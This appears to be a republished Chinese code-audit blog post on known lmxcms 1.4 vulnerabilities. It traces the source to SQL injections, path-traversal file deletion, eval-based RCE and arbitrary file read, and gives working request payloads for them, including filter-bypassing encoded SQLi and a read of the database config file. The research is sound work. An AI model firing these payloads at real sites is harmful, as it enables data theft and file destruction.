文章总结: 本文详细审计了lmxcms1.4系统的多个安全漏洞,包括前台SQL注入、后台RCE、任意文件删除与读写等。核心成因在于利用urldecode绕过过滤、不安全的eval执行以及参数拼接不当。建议开发者加强输入过滤、避免使用eval函数,并对文件操作路径进行严格校验。 综合评分: 88 文章分类: 代码审计,漏洞分析,WEB安全,漏洞POC
收藏级干货!lmxcms1.4 nday漏洞全收录,一篇搞定!
原创
_sun_·empty.
迷人安全
2025年10月13日 09:03 浙江
CMS–lmxcms1.4代码审计
说在前面
首先感谢cyl_love师傅带我打awd同时给了我很大的帮助,借着他的笔记我也来审计一下此cms框架
环境搭建
框架下载地址
下载1.4版本即可,用小皮本地搭建即可
搭建好后访问/install按照步骤下载,配置,安装即可
CNVD-2019-05674-前台的SQL注入
CNVD-2019-05674
漏洞描述
梦想cms以下简称“lmxcms”,是由“10年”(网名)开发的一套简单实用的网站管理系统(cms)。
LmxCMS V1.4前台Ta***.cl***.php存在SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息。
c\index\TagsAction.class.php
<?php
/**
* 【梦想cms】 http://www.lmxcms.com
*
* Tags控制器
*/
defined('LMXCMS') or exit();
class TagsAction extends HomeAction{
private $data;
private $tagsModel = null;
public function __construct() {
parent::__construct();
$data = p(2,1,1);
$name = string::delHtml($data['name']);
if(!$name) _404();
$name = urldecode($name);
if($this->tagsModel == null) $this->tagsModel = new TagsModel();
$this->data = $this->tagsModel->getNameData($name);
if(!$this->data) _404();
}
public function index(){
$temModel = new parse($this->smarty,$this->config);
echo $temModel->tags($this->data,$this->tagsModel);
}
}
?>
$data: 用来存储标签相关的数据
调用了自定义函数p(),跟进到p函数
common.php
function p($type=1,$pe=false,$sql=false,$mysql=false){
if($type == 1){
$data = $_POST;
}else if($type == 2){
$data = $_GET;
}else{
$data = $type;
}
if($sql) filter_sql($data);
if($mysql) mysql_retain($data);
foreach($data as $k => $v){
if(is_array($v)){
$newdata[$k] = p($v,$pe,$sql,$mysql);
}else{
if($pe){
$newdata[$k] = string::addslashes($v);
}else{
$newdata[$k] = trim($v);
}
}
}
return $newdata;
}
function filter_sql(array $data){
foreach($data as $v){
if(is_array($v)){
filter_sql($v);
}else{
//转换小写
$v = strtolower($v);
if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
rewrite::js_back('【'.$v.'】数据非法');
}
}
}
}
过滤倒是严格一些,我们从
$name = string::delHtml($data['name']);
$name = urldecode($name);
跟进其中delHtml的作用是去除html标签
其中data存在传参可控,type=2的时候为GET请求方式,根据
$this->data = $this->tagsModel->getNameData($name);
我们追踪getNameData看处理name的函数
public function getNameData($name){
$param['where'] = "name = '$name'";
return parent::oneModel($param);
}
接着追踪oneMode()
protected function oneModel($param){
return parent::oneDB($this->tab['0'],$this->field,$param);
}
追踪oneDB()
protected function oneDB($tab,Array $field,Array $param){
$field = implode(',',$field);
$force = '';
//强制进入某个索引
if($param['force']) $force = ' force index('.$param['force'].')';
if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
$We = $this->where($param);
$sql="SELECT ".$field." FROM ".DB_PRE."$tab$force $We limit 1";
$result=$this->query($sql);
echo $sql; //后面添加的方便看回显
$data = mysql_fetch_assoc($result);
return $data ? $data : array();
}
最后执行了sql语句
我们先进行测试一下
?m=tags&name=a
成功,然后思考利用,存在二次注入
因为p函数对参数进行了filter_sql函数过滤,但是urldecode是在过滤之后进行的,所以我们可以利用url编码进行绕过,从而进行攻击
a' or updatexml(0,concat(0x7e,version()),1)--+
多次编码后
%25%36%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%63%25%33%31%25%32%39%25%32%30%25%32%33
CNVD-2020-59469-后台—文件删除
CNVD-2020-59469
漏洞描述
梦想CMS(lmxcms)使用php语言和mysql数据库开发,并且采用了主流的MVC设计模式。
梦想CMS后台Ba***.cl***.php文件存在任意文件删除漏洞。攻击者可利用漏洞删除服务器任意文件。
//打包
rewrite::speed('正在打包数据,请稍等..........');
$zipname = ROOT_PATH.'file/back/'.$filename.'.zip';
file::unLink($zipname);
zip::toZip($setname,$zipname);
rewrite::speed('打包成功..........');
foreach($setname as $v){
file::unLink($v);
跟进unLink函数,发现重写了此函数
public static function unLink($path){
if($path == ROOT_PATH) return;
if(is_file($path)){
if(!@unlink($path)) rewrite::js_back('删除文件失败,请检查'.$path.'文件权限');
return true;
}
}
有好多处引用,此处的只能删除zip和sql的,我们继续寻找
//删除备份文件
public function delbackdb(){
$filename = trim($_GET['filename']);
if(!$filename){
rewrite::js_back('备份文件不存在');
}
$this->delOne($filename);
addlog('删除数据库备份文件');
rewrite::succ('删除成功');
}
//批量删除备份文件
public function delmorebackdb(){
$filename = $_POST['filename'];
if($filename){
foreach($filename as $v){
$this->delOne($v);
}
addlog('批量删除数据库备份文件');
rewrite::succ('删除成功');
}else{
rewrite::js_back('请选择要删除的备份文件');
}
}
private function delOne($filename){
$dir = ROOT_PATH.'file/back/'.$filename;
file::unLink($dir);
}
此处$filename可控,然后他默认存放位置在file/back下,我们任意在根目录创建一个文件empty.txt
利用../../实现任意文件删除,如果要测试器默认目录可以在file/back创建
admin.php?m=backdb&a=delbackdb&filename=../../empty.txt
后台RCE漏洞
AcquisiAction.class.php
//修改采集数据
public function showCjData(){
$cjData = $this->model->getOneCjData($this->lid);
$jdData = $this->model->getOne($this->id);
$fieldData = $GLOBALS['allfield'][$jdData['mid']];
$temdata = $this->model->caijiDataOne($_GET['cid']);
$this->smarty->assign('jdData',$jdData);
$this->smarty->assign('cjData',$cjData);
$fieldData = tool::arrV2K($fieldData,'fname');
eval('$data = '.$temdata['data'].';');
//格式化数据
关键
$temdata = $this->model->caijiDataOne($_GET['cid']);
eval('$data = '.$temdata['data'].';');
通过 $_GET['cid'] 获取传入的 cid 参数,并将其传递给 caijiDataOne() 方法
跟进到caijiDataOne方法
public function caijiDataOne($id){
$this->cj_data_tab();
$param['where'] = 'id='.$id;
return parent::oneModel($param);
}
构造sql语句,跟进到cj_data_tab()
public function cj_data_tab(){
$this->tab = array('cj_data');
}
看到查询的表为cj_data,我们通过向其中插入语句
INSERT INTO `lmxcms`.`lmx_cj_data` (`id`, `lid`, `data`, `uid`, `url`, `time`) VALUES (3, 4, 'phpinfo()', 33, 'a', 5);
/admin.php?m=Acquisi&a=showCjData&id=1&lid=4&cid=3
后台SQL注入漏洞
c\admin\BookAction.class.php
//回复留言
public function reply(){
$id = $_GET['id'] ? $_GET['id'] : $_POST['id'];
//获取回复数据
$reply = $this->bookModel->getReply(array($id));
id参数可控,进入到getReply方法
//根据留言id获取全部回复
public function getReply(array $id){
$id = implode(',',$id);
$param['where'] = 'uid in('.$id.')';
return parent::selectModel($param);
}
一直跟进到selectDB
//查询
protected function selectDB($tab,Array $field,$param=array()){
$arr = array();
$field = implode(',',$field);
$force = '';
//强制进入某个索引
if($param['force']) $force = ' force index('.$param['force'].')';
if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
$sqlStr = $this->where($param);
$sql="SELECT $field FROM ".DB_PRE."$tab$force $sqlStr";
$result=$this->query($sql);
while(!!$a=mysql_fetch_assoc($result)){
$arr[]=$a;
}
$this->result($result);
return $arr;
}
可以看到此处传入的id就拼接位sql语句执行了
可以后面加上一句echo $sql看回显
/admin.php?m=Book&a=reply&id=1) and updatexml(0,concat(0x7e,user()),1)--+
后台任意文件读取&写入
全局搜索file_get_contents
public static function put($path,$data){
if(file_put_contents($path,$data) === false)
rewrite::js_back('请检查【'.$path.'】是否有读写权限');
}
//获取文件内容
public static function getcon($path){
if(is_file($path)){
if(!$content = file_get_contents($path)){
rewrite::js_back('请检查【'.$path.'】是否有读取权限');
}else{
return $content;
}
}else{
rewrite::js_back('请检查【'.$path.'】文件是否存在');
}
}
查看getcon函数调用
$pathinfo = pathinfo($dir);
//获取文件内容
$content = string::html_char(file::getcon($this->config['template'].$dir));
$this->smarty->assign('filename',$pathinfo['basename']);
$this->smarty->assign('temcontent',$content);
$this->smarty->assign('dir',dirname($_GET['dir']));
$this->smarty->display('Template/temedit.html');
看到我们对dir参数是可控的,在当前editfile目录访问读取
/admin.php?m=Template&a=editfile&dir=../inc//db.inc.php
后台文件上传漏洞
c/admin/TemplateAction.class.php
//保存文件
public static function put($path,$data){
if(file_put_contents($path,$data) === false)
rewrite::js_back('请检查【'.$path.'】是否有读写权限');
}
看看谁调用到了此方法
//编辑和查看文件与图像
public function editfile(){
$dir = $_GET['dir'];
//保存修改
if(isset($_POST['settemcontent'])){
if($this->config['template_edit']){
rewrite::js_back('系统设置禁止修改模板文件');
}
file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent']));
addlog('修改模板文件'.$this->config['template'].$dir);
rewrite::succ('修改成功','?m=Template&a=opendir&dir='.$dir);
exit();
}
其中file:put就是调用了put方法,接收两个参数,POST接收filename和data
我和cyl_love师傅都没测出来,可能是cms1.41才可以
前台留言SQL注入
审计BookAction.calss.php
public function check(){
$this->bookModel->ischeck();
addlog('审核留言【id:'.$_GET['id'].'】');
rewrite::succ();
}
跟进ischeck方法
//审核和取消审核
public function ischeck(){
$data['ischeck'] = $_GET['check'] ? 1 : 0;
$param['where'] = 'id='.(int)$_GET['id'];
parent::updateModel($data,$param);
}
这个是判断是否显示在前台的,如果我们要进行前台注入,那么就需要将其值修改为1就可以回显在前端了
//前台增加留言
public function add($data){
$data['time'] = time();
return parent::addModel($data);
}
跟进addModel
//增加数据并返回id
protected function addModel($data){
return parent::addDB($this->tab[0],$data);
}
跟进addDB
protected function addDB($tab,$data){
foreach($data as $key=>$v){
$field[]=$key;
$value[]="'$v'";
}
$field = implode(',',$field);
$value = implode(",",$value);
$sql="INSERT INTO ".DB_PRE."$tab($field) VALUES($value)";
$this->query($sql);
return mysql_insert_id();
}
但是只能是管理员后台才能看到
http://127.0.0.1:8088/index.php?m=Book&a=setBook
setbook=1&name=1&content=1&time,ischeck)VALUES((select/**/version()),'1','','','127.0.0.1','1679301152','1')#=1
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:迷人安全 sun·empty.《收藏级干货!lmxcms1.4 nday漏洞全收录,一篇搞定!》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论